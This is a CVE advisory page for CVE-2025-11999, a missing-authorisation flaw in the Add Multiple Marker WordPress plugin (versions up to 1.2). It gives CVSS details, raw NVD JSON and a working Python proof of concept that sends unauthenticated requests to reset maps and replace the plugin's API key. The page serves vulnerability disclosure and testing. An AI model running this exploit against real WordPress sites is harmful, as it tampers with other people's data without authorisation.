Security Vulnerability Report
中文
CVE-2025-11999 CVSS 5.3 MEDIUM

CVE-2025-11999

Published: 2025-11-11 04:15:45
Last Modified: 2026-04-15 00:35:42

Description

The Add Multiple Marker plugin for WordPress is vulnerable to unauthorized modification of data to due to a missing capability check on the addmultiplemarker_reset_map() and amm_save_map_api() functions in all versions up to, and including, 1.2. This makes it possible for unauthenticated attackers to update the map API and reset maps.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Add Multiple Marker WordPress插件 <= 1.2(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-11999 PoC - Unauthorized data modification in Add Multiple Marker plugin # Target: WordPress site with Add Multiple Marker plugin <= 1.2 TARGET_URL = "http://target-wordpress-site.com" def exploit_reset_map(): """Exploit to reset map data without authentication""" endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" data = { 'action': 'addmultiplemarker_reset_map', 'map_id': '1' } try: response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print("[+] Map reset request sent successfully") print(f"[*] Response: {response.text}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") def exploit_save_map_api(): """Exploit to modify map API settings without authentication""" endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" data = { 'action': 'amm_save_map_api', 'api_key': 'malicious_api_key', 'api_type': 'google' } try: response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print("[+] Map API update request sent successfully") print(f"[*] Response: {response.text}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": print("CVE-2025-11999 PoC - Add Multiple Marker Plugin") print("Target: Add Multiple Marker <= 1.2") print("-" * 50) print("[*] Testing map reset vulnerability...") exploit_reset_map() print("[*] Testing map API modification vulnerability...") exploit_save_map_api()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11999", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:45.463", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Add Multiple Marker plugin for WordPress is vulnerable to unauthorized modification of data to due to a missing capability check on the addmultiplemarker_reset_map() and amm_save_map_api() functions in all versions up to, and including, 1.2. This makes it possible for unauthenticated attackers to update the map API and reset maps."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/add-multiple-marker/tags/1.2/functions.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3433258/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f4f1467d-1f66-4e99-af44-9329cfe1efac?source=cve", "source": "[email protected]"}]}}